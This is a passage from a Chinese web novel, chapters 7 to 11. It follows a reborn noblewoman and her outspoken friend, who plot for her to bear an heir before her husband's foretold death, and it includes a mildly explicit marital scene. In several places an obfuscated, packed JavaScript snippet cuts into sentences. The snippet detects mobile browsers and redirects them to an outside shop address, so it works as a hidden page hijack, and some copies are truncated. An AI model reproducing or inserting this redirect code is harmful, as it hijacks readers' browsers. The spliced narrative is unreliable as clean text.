辛卿卿早就想跟邵婉淑说自己的丈夫了,可她知道邵婉淑最重规矩,认为女子要以夫为纲。上次她同她说时,她虽没怎么反驳她,但言语间也能听出来不赞同。她怕破坏两人的关系,憋了一天没说。此刻实在是忍不住了,开始念叨起来。 “他就是个闷葫芦,整日说不了几个字,问他一句他答一句,很少主动同我说话。每日回府就去书房里看卷宗,有时半夜睡着觉突然起来去看卷宗,一看看一宿,也不知道那些卷宗有什么好看的……” “你都不知道他有多讨厌!早上不到卯时就起床,还要把我叫起来,我若不起,他定要念叨,嫌我晚上睡太晚,烦得要死……我又不用上朝,起那么早作甚?” “他母亲就更讨厌了,天天念叨着让我生孩子,我偏不生,我走了看他跟谁生去……” 辛卿卿足足说了两刻钟才停了下来。她这才发现邵婉淑这次竟然没有打断她,也没有反驳她。见邵婉淑没说她,辛卿卿小心翼翼侧头看向邵婉淑,“阿淑,你是不是觉得我说的不对?” 邵婉淑却一改之前的态度,说道:“不爱说话确实挺讨人厌的,这样的话你也不知道自己到底做的对不对,有时候还会惹他不高兴,也不知道自己错在哪里。” 裴行舟就是这样的人,她永远猜不到他在想什么。 辛卿卿眼前一亮:“阿淑,你说得对!就是这样,他也是如此,我都不知道哪里哪里惹他不高兴了,他还给我摆脸子。” 邵婉淑:“早起就更令人厌烦了,卯时天尚未亮,起来也无事可做,冬日时还特别冷,不如多睡会儿。” 她从前每日都起得特别早,裴行舟在的时候服侍他上朝,他不在内宅,她也会早起,去给婆母请安。每日都给自己安排了一大堆无聊的事情。看似把日子填得很满,实则是自己瞎忙活。 活得挺累的。 辛卿卿:“对对,我又不用管家,白日里没什么事儿,起来作甚?怪无聊的。” 邵婉淑:“至于生孩子……” 姜老夫人也催过她。 邵婉淑顿了顿,道:“孩子是父母的缘分,也不是想要就能来的,强求无用。” 辛卿卿抱住了邵婉淑:“阿淑,还是你理解我。” 她又抱着邵婉淑说了许多话,等她说尽兴了,想到了什么,问道:“阿淑,你如今日子过得如何?” 邵婉淑:“挺好的。” 辛卿卿:“可我怎么觉得你如今变了许多,可是在定南侯府过得不自在?” 邵婉淑一时没答。 辛卿卿想到了定南侯府的那些事儿,道:“我应该想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929606|192763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到的,定南侯是个冷性子的,比我家那位还要冷。都说他不近女色,想来也不体贴。侯府又宠二房,还让二房管家,想必你日子也是难熬。对不起,我刚刚还跟你抱怨那么多。” 看着辛卿卿眼里的心疼,邵婉淑本想说没事,可那些压在心里的东西沉甸甸的,压得她每晚都在做噩梦,她也想找个人倾诉出来。 “我脸色不好是因为最近做了一个梦,时常从梦中惊醒。” 辛卿卿:“什么梦?” 邵婉淑把自己前世的遭遇当做梦说了出来。 “……我梦到裴行舟死在了战场上,有一个大着肚子的女人找上门来说肚子里怀了他的孩子,裴家人逼着我认下,我不肯认,我爹便拿着白绫勒死了我。” 辛卿卿瞪大了眼睛。 “阿淑,你怎会做这样的梦,太吓人了。” 邵婉淑扯了扯嘴角,的确挺吓人的,可这些便是她的前世。 辛卿卿很想说这些事都是假的,可想到裴行舟的身份,以及邵侍郎的性格,她又沉默了。但她不能顺着邵婉淑的话说下去,她得让她从噩梦中走出来,她正要开口安慰,邵婉淑又继续开口了。 “我明知是假的,可如今我一想到裴行舟去打仗时还让别的女子怀了孩子我就觉得不舒服。一想到父亲拿白绫勒死我,我便不想再回娘家。” 辛卿卿担忧地道:“阿淑,你不能这样想,这些都是梦,都是假的。” 邵婉淑看着辛卿卿的眼睛,平静地道:“倘若这些事有一日真的会发生呢?” 辛卿卿觉得哪里有些不对劲儿,阿淑一向是个较真的性子,做事十分严谨,也不喜欢开玩笑,今日却说了这样一件离谱的事,看来这件事对她影响很深。 她眼珠子一转,索性顺着邵婉淑的话问道:“你梦里的这些事是何时发生的?” 邵婉淑:“三年后。” 辛卿卿:“这三年你可有身孕?” 邵婉淑:“没有。” 辛卿卿:“定南侯可有别的女人?” 邵婉淑:“应该没有。” 前世她安排阿梅打听前院的消息,从未听说过他有别的女人。 辛卿卿:“所以,你觉得不舒服是因为定南侯碰了别的女人还是因为那个女人有可能怀了定南侯的庶长子?” 卿卿果然很了解她,邵婉淑果断道:“因为她怀了定南侯的孩子。” 辛卿卿:“你想过和定南侯和离吗?” 邵婉淑:“没有。” 辛卿卿:“为什么?” 邵婉淑苦笑一声:“你知道的,我和裴行舟是皇上赐的婚,这辈子都不可能和离的。” 辛卿卿:“假如可以和离呢,你想不想和离?” 邵婉淑仔细想了想这个问题,道:“天下的男子都一样,旁人也未必比裴行舟做得更好。” 这些豪门世家哪个身边不养着几个妾侍,老侯爷对婆母再好,府中依旧有两个庶出的子女。文德侯府就更不用说了,一大堆的庶子庶女。相比较而言,裴行舟算是稍好一些的。 辛卿卿突然笑了。 “阿淑,我觉得你想岔了。” 邵婉淑不解。 辛卿卿:“既然你不想同定南侯和离,那不如在他死之前赶紧怀个孩子。他这三年都没有别的女人,至少现在还是干净的。等他死了之后,你的孩子就是侯爷了,整个侯府都是你的。管他什么庶子庶女,谁都越不过你去,还不是你想怎么收拾就怎么收拾。对你不忠心又难伺候的丈夫死了,你还能拿走他所有的家产,到时候你想干什么就干什么,还有比这更爽的事吗?” 邵婉淑:??? 8. 第 8 章 邵婉淑从小受礼教长大,熟读《女诫》《内训》等书籍,恪守三纲五常。如今重活一世,幡然醒悟,决心不再一味地听从父亲的安排,也不再以夫为天日日伺候他,她要为自己而活。这些日子她感觉松快了许多,自在了许多。 可,她也从未这般想过。 辛卿卿的话如平地一声惊雷,让她的内心受到了极大的震颤。她张了张口想反驳。 辛卿卿却觉得自己的主意好极了。若阿淑方才还像以往一样劝她听丈夫的话,她定不会跟她说出来这样的话。可她能隐隐感觉到阿淑变了,她不再一味地听从邵侍郎和定南侯的安排。 “你先别反驳,你是个聪明人,仔细想想我说的对不对,有没有道理。” 邵婉淑闭了嘴。 这几日她脑子很乱,一时没想好如何面对裴行舟。她不可能永远拒绝裴行舟。而她和裴行舟是的婚姻是御赐的,除非她死,否则也不可能和离。裴行舟早晚会有别的女人,她们也会像莲娘一样生庶子。将来她就是府里的老夫人,她无儿无女,也没人会把她当回事。将来裴行舟死了,她还是有可能被父亲逼着为他殉葬。 若是有个孩子的话…… 邵婉淑顺着辛卿卿的话想了想。若她真的生了儿子,那就是裴行舟的嫡长子。等三年后裴行舟死了,莲娘再登门也没用,爵位一定是她儿子的。有了儿子,父亲也不敢逼她殉葬了。这样一来她就摆脱前世的命运了。 与其孤老一生,倒不如生个儿子,把定南侯府牢牢掌握在自己手中。 邵婉淑平静的心砰砰砰跳了起来,她看向辛卿卿。 辛卿卿知道她想明白了。 邵婉淑:“这会不会太……” 大逆不道,离经叛道。 “会不会太完美了?”辛卿卿肯定地点头,“是的,非常完美。” 邵婉淑抿了抿唇。 辛卿卿突然凑近了邵婉淑,在她耳边低声道:“定南侯长相英俊,又是个武将,你难道就不想吗?” 真是越说越离谱了。 邵婉淑瞬间就听懂了辛卿卿的意思,她脸色微微一红,震惊地看向辛卿卿。 辛卿卿:“害什么羞啊?从前你没成亲,我不好意思跟你说这些。你都成亲了,还害羞个什么劲儿?” 邵婉淑脸羞得通红,这种私密之事怎好拿出来说?也太令人羞耻了。 辛卿卿碰了碰邵婉淑的肩膀,道:“你别不好意思了,你再这样下去还怎么生孩子,怎么得到侯府?你难道想眼睁睁看着那个叫什么莲娘的霸占侯府吗?” 闻言,想到前世莲娘得意的模样,邵婉淑没再这般抗拒了,但她也没说什么。 辛卿卿:“你不会真的不想吧?” 邵婉淑抿了抿唇。其实,她没敢跟任何人说过,在裴行舟去战场的那一年,她偶尔也会梦到他。每次醒来都为此感到羞耻,觉得自己不正经,不像个大家闺秀。 辛卿卿误会了,突然道:“定南侯不会没什么经验吧?也对,他一向不近女色,也没听说他去那些风月场所。不过你别担心,时间长了就好了。” 顾云彦一开始也跟个愣头青似的,后来好多了。想起顾云彦,她好像有点想他了……一想到他的所作所为,她又狠了狠心,不行,日子还长着呢,她必须把他的臭毛病改过来! 邵婉淑脸更红了,还真让辛卿卿说对了,刚成亲那会儿裴行舟确实没什么经验,她挺难受的,后来就好多了,但那种事一直让人挺不舒服的。 她忍不住应了一声。 辛卿卿本以为这种问题阿淑不会回答的,没想到她竟然听到她应声了,她顿时大喜,感觉跟阿淑的关系更近了。 “我跟你说,这种事你也得主动些,不然受苦的还是你自个儿……” 辛卿卿又凑近了些,两人凑到一起咬耳朵。有时邵婉淑只脸红不答,辛卿卿却已经很惊喜了。这些话她也无处可说,但又有自己的困惑和烦恼,如今终于有人能跟她交流了。 两人在屋顶待到半夜,天渐渐亮了,俩人又去了屋里继续聊。 说着说着便又说起了邵侍郎。 辛卿卿:“你爹的话早就不该听了,我说句实话你也别不高兴,你爹就是个老顽固,不近人情。” 邵侍郎可没给过她好脸色,还阻止阿淑见她,她就没见过这样的父亲。 邵婉淑:“你说得对。” 父亲何止不近人情,而是冷血无情,亲手杀死自己的亲生女儿。 辛卿卿得到回应,又继续说起了邵侍郎的不是,若不是顾着邵侍郎是邵婉淑的亲生父亲,她早就破口大骂了。 说完邵侍郎又说起了各自的婆母。 一直聊到东边泛起了鱼肚白两人才牵着手睡着了。 醒过来后,两人相视一笑。 辛卿卿:“阿淑,你终于清醒了,以后我也能有个说话的人了。我娘劝我要听婆母的话,我阿姐也劝我要听丈夫的话,可我谁的话都不想听,我只想自己开心地活着。” 邵婉淑:“对,别人都不重要,自己开心的活着才是最重要的。” 辛卿卿乐呵呵地笑了起来。 傍晚,门房来报,顾云彦来了。 邵婉淑看向辛卿卿。 辛卿卿虽然面上没说什么,邵婉淑却能察觉到她心情不错。 “让他进来吧。” 顾云彦进来后,见邵婉淑也在,恭敬地朝着她行礼:“见过侯夫人。” 邵婉淑:“顾侍郎多礼了,你和卿卿聊吧。” 辛卿卿一把抓住她:“你坐下,我跟他没什么好聊的。” 邵婉淑:“你不是饿了么,也快该吃晚饭了,我去厨房瞧一瞧,马上就回来。” 辛卿卿抿了抿唇,还是放邵婉淑走了。 不知二人聊了什么,等吃晚饭时,辛卿卿看顾云彦已经没那么多的敌意了。 当晚,辛卿卿还是没跟顾云彦回去,她和邵婉淑睡在了一处,俩人又聊到半夜。 天不亮,顾云彦就去上朝了。 同僚见他风尘仆仆,问了一句:“顾大人,你昨晚没睡么,怎么这般疲惫?” 顾云彦:“早上刚从景山回来。” 同僚惊讶地看向他:“这么远!那你丑时就得起了?” 这一趟得一个时辰。 顾云彦:“差不多。” 一旁路过的裴行舟朝着这边瞥了一眼,他记得邵婉淑是陪着顾云彦的夫人去的景山。 顾云彦没注意裴行舟在看他,正悄悄打着哈欠。 傍晚,裴行舟刚回到府中便被姜老夫人叫去了祥和院中。 “儿子见过母亲。” 姜老夫人仔细打量着儿子,她已经快十日没见到儿子了,虽同在一个府中,母子二人却很少见面。 裴行舟只有初一十五才会回韶华院,同样的,他也只有这两日才会去祥和院。其余时候,他不会踏入内宅半步,也就前几日破了例。 姜老夫人:“你这几日是不是没睡好,我怎么瞧着你瘦了些。” 裴行舟:“劳母亲挂心,儿子一切都好。” 姜老夫人早已习惯了儿子公事公办的模样,但同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一进来,他的目光落在了邵婉淑身上。不知是不是山里的空气好,她脸色好看了许多,眼底虽然还有些青黑,但整个人舒展了些。 辛卿卿注意到了裴行舟的目光,越发觉得定南侯不似传闻中那般冷。 “见过侯爷。”二人朝着裴行舟行礼。 裴行舟客气又疏离道:“辛夫人。” 辛卿卿识趣地离开了。 邵婉淑:“侯爷怎么突然过来了,府里有事?” 裴行舟:“没事,母亲不放心你,我过来看看。” 邵婉淑:“让母亲挂心了,我挺好的。” 裴行舟:“这几日可有再做噩梦?” 邵婉淑:“没有。” 她这几日睡得很晚,困极了才睡,倒头就睡着了,竟一夜无梦。虽然睡得晚,但因为没有做噩梦,所以她感觉舒服多了。 时辰也不早了,她提醒了一句:“回去的时注意安全,夜深了,山路不好走。” 裴行舟眉头微皱一下,沉声问:“夫人今日不回府?” 邵婉淑察觉到了裴行舟的不悦,她若没猜错的话,他今日应当是特意来接她的,但还是道:“我跟卿卿约好了,明日再走。” 裴行舟沉默许久不说话。 邵婉淑见他不走,以为他今日打算留下,道:“你若不回去我跟卿卿说一声为你收拾客房。” 裴行舟顿了顿,道:“嗯。” 青云诧异地看了侯爷一眼,又快速收回,转身默默去马车上搬公务了。 9. 第 9 章 顾云彦正认真看着卷宗,突然听到了自家夫人的声音,连忙起身朝着外面走去。 “夫人,你来了。” 声音里带着几分欣喜。 辛卿卿:“去和你的卷宗过吧。” 吃过饭就不见人了,一心只想着公务。 顾云彦:“夫人……” 方才他想陪着夫人,是夫人嫌他碍事,不愿让他听她和侯夫人的谈话,将他撵走的。他无事可做,便又继续看起了卷宗。 辛卿卿:“我是带人来给定南侯收拾客房的,今晚你自己睡。” 顾云彦失望地闭了嘴。 辛卿卿很快就离开了。 不一会儿,裴行舟来了。 顾云彦:“下官见过侯爷。” 裴行舟:“顾侍郎。” 两人打了一声招呼后各自回屋,像是商量好的一样,都处理起公务。 邵婉淑和辛卿卿躺在床上说话,等到子时,听下人说二人几乎同时歇下了,两人对视了一眼。 辛卿卿:“没想到侯爷也这般勤勉。” 邵婉淑:“他一向如此,心中只有公务。” 辛卿卿:“挺好的,比那些一心只想美色的男子强多了。” 邵婉淑知道辛卿卿说的是她父亲文德侯,文德侯府里妾侍无数,生了一大堆庶子庶女。辛卿卿嫁人只有一个条件,不许纳妾。世家贵族的男子一般是做不到的,所以她嫁了寒门出身的顾云彦。 邵婉淑:“只想美色的男子也比狠心伤害女儿的男子强。” 至少文德侯对辛卿卿是真的很疼爱,也不会想着要了她的性命。 想到各自糟糕的父亲,两人同时叹了一口气,随后又聊起了别的事情。 明日就要分开了,辛卿卿还真有点不放心邵婉淑。她日日做噩梦,定是压力太大了。 “我说让你抓紧生个孩子,但你也别太把定南侯当回事儿。” 邵婉淑:“嗯?” 辛卿卿:“男人都是贱骨头,你越把他当回事儿,他对你越冷淡。” 邵婉淑本想说裴行舟不是这样的人,可仔细一想,重生回来,她不理会裴行舟了,裴行舟来内宅的次数反倒是多了起来,也当真是让人不解。 辛卿卿又继续说了起来:“我爹身边有个宠妾就是这样的,她是个良家女,父亲是个秀才,整日一副清冷的样子,不搭理我爹。可我爹要是去找别的小妾,她气得能哭一晚上,第二日又装作无事发生,一副毫不在意的模样。偏偏我爹还就吃她这一套。他那么多小妾,隔三岔五就得去她院里一次。” 邵婉淑:“侯夫人不难过吗?” 辛卿卿:“我娘才不难过,她对我爹没感情。在我小时候,我娘还常常跟我爹闹,不让他纳妾,那时我和哥哥都以为我娘爱慕我爹,替她感到难过。后来才知道她那是怕我爹有了庶子,会跟我哥抢爵位。如今我哥大了,孩子都有了,我娘就不管我爹了。我娘天天盼着我爹死,等他死了,侯府就是我哥的了,她就是府里说一不二的老太太了。” 邵婉淑震惊地看向辛卿卿。 辛卿卿打了个哈欠:“要是你的梦是真的,那还是你运气好,这种不贴心的丈夫很快就死了,你不用熬那么多年。你还年轻,到时候再嫁人,或者不嫁人都行。” 邵婉淑想,怪不得辛卿卿前天晚上跟她说那样的话,原来是因为侯夫人。 突然,辛卿卿靠近了邵婉淑,头埋在她柔软的胸上。 “哼,便宜定南侯了。” 邵婉淑:…… 两人聊着聊着睡着了,一直到了巳时方醒过来。 裴行舟和顾云彦已经吃过饭了,两人似乎很投机,坐在一旁的茶室里说话。 邵婉淑和辛卿卿吃过饭,四人便决定离开了。 临走前,辛卿卿突然扯住了邵婉淑,将她拉去一旁,低声道:“抓点紧啊,别等他死了孩子还没怀上。” 邵婉淑脸色顿时大红。她生怕裴行舟听到了,快速看了他一眼。见他正和顾云彦说话,没注意到这边才安心了些。 两辆马车一前一后朝着京城行去。 上了马车后,裴行舟闭目养神。邵婉淑盯着他看了片刻,也闭上了眼。 裴行舟突然睁开了眼,他倒是没想到她竟然会和性子如此跳脱的辛卿卿是闺中好友,跟辛卿卿在一起时,她似乎活泼了许多。刚刚在马车下还依依不舍地聊着,上了马车就不说话了。 一个时辰左右,马车到了定南侯府,此时也近午时了。 邵婉淑回了内宅休息,裴行舟出门了。 接下来,一连两日邵婉淑都没见到裴行舟。 这日,临睡前,阿桔拿着一件新做好的鹅黄色锦缎衣裳进来了,她耷拉着脸,道:“夫人,您前些日子让绣娘给二姑娘做的衣裳做好了。” 邵婉淑看着阿桔手中的新衣,再看阿桔脸上的神情,一时没想起来是怎么回事。 阿桔忍不住又多嘴说道:“夫人,我瞧着这衣裳颜色挺适合您的。贵妃娘娘送来的锦缎极好,您若是送人岂不是辜负了娘娘的一番美意?” 这可是贵妃娘娘送给夫人的布料,价值连城。二姑娘只是多看了几眼,夫人就立马让人给她做了一身衣裳,夫人自己都舍不得穿呢。二姑娘就是个白眼狼,夫人对她那么好,什么好东西都给他,她还瞧不上他们夫人,给夫人摆架子。她素日里只跟二夫人来往,很少理会他们夫人。 经过阿桔的提醒,邵婉淑隐约想起来是怎么回事了。姑母得了一批进贡的锦缎,让人给她送来了几匹。她见裴明英眼神热切,便打算做好衣裳送给她。结果前世裴明英收到后一句感谢的话都没有,这事儿把阿桔气得不轻,念叨了许久。 阿梨提醒:“可这衣裳是按照二姑娘的尺寸做的,夫人穿的话可能会有些小。” 阿桔看了一眼邵婉淑的神色,见她似乎有些心动,于是提议道:“夫人不如先试试?” 夫人和二姑娘身形差不多,甚至比二姑娘还要瘦一些,只是二姑娘喜欢穿紧一些显身形的衣裳,夫人喜欢穿宽松的衣裳。 邵婉淑盯着面前的衣裳看了许久。 前世,裴行舟去世后,裴明英来她院中大闹了一场,说她把裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阿桔顿时松了一口气,真好,今日没被夫人训斥。 邵婉淑又在镜子前看了看,正准备换掉身上的衣裳,一转身,落入一双深邃的眼眸中。 裴行舟何时过来的?他站这里多久了,有没有听到她们的谈话? 阿梨和阿桔连忙朝着裴行舟行礼。 裴行舟一直都知道自己的妻子是个美人。但美则美矣,有些古板严肃,平日里喜欢穿一些宽松的素色棉布衣裳。今日是他第一次见妻子穿锦缎。这件鹅黄色的衣裳衬得她皮肤白皙透亮,将她婀娜的身段勾勒出来。 他的目光在邵婉淑胸前和纤细的腰肢上停留一瞬,又不着痕迹地收了回来,大步向前,撩开衣摆,坐在了榻上。 邵婉淑看了阿桔一眼,两人去了里间换衣裳。 阿梨则是退了出去,沏了一壶新茶,放在了榻上的矮几上,随后默默退了出去。 裴行舟端起茶喝了一口,心里感觉舒畅了一些,味道终于对了。 10. 第 10 章 不一会儿,邵婉淑从里间出来了。 裴行舟抬眸看了她一眼,见她身上的衣裳已经换下来了,穿了件宽松的衣裳。 邵婉淑见裴行舟没走,想到辛卿卿的话,她走了过来,坐在了榻上。 一时间,两个人谁都没说话,就这样一左一右坐着。 裴行舟用完一壶茶,一句话都没说就站起身来朝着外面走去。 见状,邵婉淑愣了一下,很快又反应过来了,心里松一口气。裴行舟走了也好,那种事确实有些让人为难。她吩咐人倒热水沐浴。等沐浴出来,意外地发现裴行舟不知何时竟然又回来了。她只看了裴行舟一眼,什么都没问,坐在梳妆桌前涂膏粉。 裴行舟朝着里间走去。 从铜镜中,邵婉淑看到了裴行舟的身影,她知道他今晚是要留宿了。涂完膏粉后,她上了床,去了里侧躺着。 随着时间的推移,她心里有些忐忑,一面想抓紧怀个孩子将侯府掌控在自己手中,一面又觉得自己这样想是在咒裴行舟死。 裴行舟很快就从里间出来了,熄了灯,躺在了外侧,将床幔拉上了。 光影很快就消失了,取而代之的是黑暗。 邵婉淑感觉自己心跳有些加速,没等她做好心里准备,裴行舟便覆了过来。 今日裴行舟似乎有些急切,炙热的唇很快就重重落在了邵婉淑的唇上,让她呼吸不得。这吻来得又凶又急。邵婉淑许久没跟裴行舟同房,身体很快就有了反应。她死死抓住了身下的床褥,不让自己发出一丝声响,如同前世的每一个夜晚一样,板板正正躺在床上。而如今,她又和前世不同了,她不似前世那般能容忍了,终究还是忍不住嘴里泻出了一些声音。 裴行舟突然停下了动作看向她。 邵婉淑本就十分羞赧,在裴行舟的注视下,脸更是羞得通红,觉得自己做了十分羞耻的事情,她不敢看裴行舟的眼睛,恨不得找个地缝钻进去。 她闭了闭眼,突然又睁开了。前世她都因为他死过一次了,为何还要顾及他的感受死命憋着自己。他不喜欢她这样,便不喜欢吧,大不了不生孩子了,总不能事事委屈自己。 邵婉淑不仅没有收敛,反倒是更放开自己了。 裴行舟却不知怎么了,像是在惩罚她一样,又凶又急。 邵婉淑实在是有些不舒服,抬手掐了裴行舟的腰。 裴行舟恍若未觉,不知疲倦,邵婉淑差点哭出来。 收拾好之后,邵婉淑想到自己刚刚的举动,转身面对墙,背对着裴行舟,死死闭上了眼,不敢再看他。 她今日真的是疯了,她刚刚都干了什么事啊,太不知羞耻了,太孟浪了。她甚至还掐了裴行舟,她怎么能做这样的事。裴行舟刚刚的样子和前世完全不同,像变了个人似的,他一定是被她气疯了。 裴行舟看着邵婉淑身上的痕迹,轻咳一声,哑声道:“抱歉。” 他刚刚委实孟浪了些,没有控制住自己,她好不容易有些回应,可别吓到她了。 邵婉淑怔了一下,瞬间就睁开了眼,裴行舟竟然跟她道歉?他方才不是生她的气了吗? 过了片刻,见邵婉淑仍旧不理他,裴行舟声音又软和了些:“下次我注意。” 邵婉淑心里的不安彻底消散了。 她突然想到了辛卿卿说过的话。难道真的被她说对了,男人都是贱骨头,裴行舟也是?她越不理他,他越上赶着来。她越打他,他越觉得自己有错? 她学着裴行舟的样子,冷淡应了一声:“嗯。” 听到这一声回答,裴行舟终于放心了。他扯了扯邵婉淑身上的被子,道:“别憋坏了。” 听着裴行舟温和的声音,邵婉淑越发觉得辛卿卿的话是对的,她松开了盖在头上的被子,但始终没看裴行舟一眼。 裴行舟:“睡吧。” 邵婉淑放心地闭上了眼,很快就睡着了。 昨晚有些累,第二日邵婉淑起得晚了些,她去祥和院时众人已经全都到了。 众人站起身来给邵婉淑行礼,邵婉淑并未理会,径直走到姜老夫人面前给她行礼。 “儿媳见过母亲。” 姜老夫人最近很是关心韶华院,已经得知了昨晚的事,她很是开心。 “好好,快坐快坐。” 邵婉淑落座,这才看向众人,众人依旧站着。经过这一段时间的相处,如今大家已经不会直接坐下了。 “坐吧。” 杜氏坐下后看了一眼邵婉淑,笑着说:“大嫂今日真是光彩照人,我险些不敢认。” 姜老夫人笑得格外有深意:“这衣裳还是收紧了好看。” 昨夜儿子又去了韶华院中,作为一个过来人,她都不用去打听了,看着儿媳的脸色她就知道昨晚发生了什么。见儿媳今日开始打扮自己了,想必跟儿子相处得不错,说不定很快孙子就来了。 杜氏:“我跟母亲想一处去了。” 柳氏盯着邵婉淑身上的衣裳看了片刻,煞风景地说了一句:“我怎么瞧着大嫂这衣裳料子跟前些日子阿英看中的一样,大嫂不是将料子送给阿英了吗?” 她已经憋了好几日了,今日终于被她抓到邵婉淑的错处了,她定要让她没脸。 屋里顿时一静。 这话就有意思了。那日裴明英见到料子后就表达了对布料的喜欢。邵婉淑见状,的确有意送给她。但当时大姑娘裴温静也在场,料子不够两个人用的。虽说大姑娘是庶出,但她一向顾虑他人,不想大姑娘下不来台,所以并未说要送给裴明英。她想着将布料做成衣裳,把这衣裳给裴明英,然后再找一匹差不多的好料子给裴温静也做一身。 这两件衣裳她都做好了,前世也是今日私下送给了两位妹妹。 邵婉淑静静地看向对面的柳氏,眼底神色意味不明。她这个弟媳还是跟前世一样蠢,自以为能挑拨她和裴明英的关系,却不知她这番话伤害最深的不会是她,而是裴明英。 裴明英那日并未开口要,邵婉淑也没明确开口说要给。柳氏却一下子将裴明英眼馋贵妃娘娘送来的布料的事情挑开了,让裴明英很是没脸。 若是前世,邵婉淑定会开口说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这倒是令邵婉淑有些意外。裴明英毕竟是婆母亲生女儿,她原以为婆母即便不怪罪她,也不会先考虑她的感受。她顺势说道:“母亲多虑了,咱们都是一家人,我不会放在心上的。不过三弟妹以后说话行事还是要注意些,小心祸从口出,累及家人。” 柳氏被邵婉淑挤兑了几句,却不敢再反驳,只得憋屈地认下。 见她这样说,姜老夫人放心了,她转头看向了柳氏。柳氏这些日子越发过分了,看来那日给她的教训还不够。 “老三媳妇儿,哥儿还小,离不开人,你这几日就在院子里照顾哥儿吧。” 这话说的好听,实则是把柳氏禁足了。 柳氏这才害怕了,她深深地后悔自己多嘴说了那样的话。可邵婉淑今日打扮得实在是太出众了,眼角还带着几分媚态,昨晚侯爷又是在她房里过的,让她心里很不得劲儿,她就是忍不住想要针对她。 “母亲,我……” “散了吧。” 姜老夫人不再理会柳氏,朝着里间走去。 邵婉淑朝着姜老夫人福了福身,站起身来,看也不看柳氏,径直离开了。 11.第 11 章 邵婉淑刚回到韶华院,便听说侍郎府来人了,她脸一沉,朝着主屋走去。 来人是陆氏身边的香竹,见到邵婉淑,香竹语气里带着几分埋怨:“大姑娘,夫人听说您这些日子没去要管家权,很是不悦,让您务必三日内将管家权拿回手中。” 邵婉淑陪嫁的人都是母亲安排的,母亲会知道这件事,她一点都不奇怪。她既不想继续听从侍郎府的安排,也不想管家,于是直接说道:“你去跟母亲说,我办不到。” 香竹没料到邵婉淑会这样回答,怔了一下。她以为按照他们家大姑娘的性子一定会答应下来的。 “大姑娘,您不试试怎么知道办不到呢?” 邵婉淑看了香竹一眼,端起茶轻抿一口,没有说话。 香竹有些着急了,说道:“老爷得知此事很是生气,昨晚在夫人面前发了好大的脾气。” 邵婉淑继续喝茶不说话。 香竹:“老爷昨晚都没歇在正院,去了赵姨娘的院中,夫人哭了大半夜呢,您还是多体谅体谅夫人吧。” 邵婉淑觉得这话很是讽刺。母亲总是说一切都是为了她好,让她体谅他们,可他们却从未体谅过她。她想起前世母亲逼她认下莲娘肚子里的孩子时说过的话。 “你怎能如此善妒?” “这几年侯爷身边就你一个人本就不妥,你早就该为侯爷置办妾侍。” “你是当家主母,莲娘的孩子也是你的孩子。” …… 母亲是当家主母,父亲送来白绫时她岂会不知? 可见母亲是真的不在乎她的死活。 邵婉淑的心又冷了几分:“你是想说母亲善妒?” 香竹愣了一下。大姑娘这是怎么了,她怎么能说这样的话。夫人可是她的亲生母亲。她刚想说些什么,看着邵婉淑没什么表情的脸,心里一紧,噗通一声跪在了地上:“奴婢不是这个意思。” 这些话都是夫人教她说的。老爷的确对大姑娘很不满,也拿此事责备夫人,但夫人并未因为赵姨娘的事情哭。夫人让她这样说是怕大姑娘不用心拿管家权。 邵婉淑端起茶,轻抿一口,又放下。 “赵姨娘是母亲为父亲置办的,父亲去赵姨娘房里母亲又怎会哭呢,你莫要诋毁母亲的名声。” 香竹:“是,是奴婢说错话了。” 邵婉淑:“你回去告诉父亲和母亲,我如今是侯夫人,侯府的事我心中有数,就不用他们操心了。” 香竹感觉自己后背生了一身的冷汗,不敢再在邵婉淑面前造次。 阿桔送香竹出门。 虽已经是初夏,香竹出了门,风一吹,她感觉自己后背凉飕飕的。 她知道阿桔性子单纯,又是个炮仗脾气,她看向阿桔,试探道:“阿桔,大姑娘到底怎么了,怎么看起来跟从前不太一样了呢?” 阿桔的确是这样的性子,但香竹却忘记了阿桔最重要的一点是对邵婉淑忠心。 阿桔瞥了香竹一眼,道:“香竹,你不该再称大姑娘了,你应该称侯夫人。” 香竹蹙了蹙眉,阿桔是大姑娘身边的婢女,她是夫人身边的。阿桔从前一直对她毕恭毕敬的,叫她一声姐姐,如今竟然敢直呼她的姓名了。 阿桔从前的确不会如此,但并非是不敢,而是因为他们姑娘。今日瞧着姑娘对香竹的态度很是强硬,她自然也不再憋着。 香竹:“咱们都是一个府的,叫大姑娘不是显得亲近么?” 阿桔早就看香竹不顺眼了,香竹不过是个奴婢,刚刚竟然敢跟他们夫人大呼小叫,真是惯的。她可不似阿梨那般好脾气识大体,当下便冷了脸,道:“你什么身份,还敢跟侯夫人攀关系。” 香竹越发不悦。 阿桔停下脚步:“你认清自己的身份吧,以后没事儿少来侯府。” 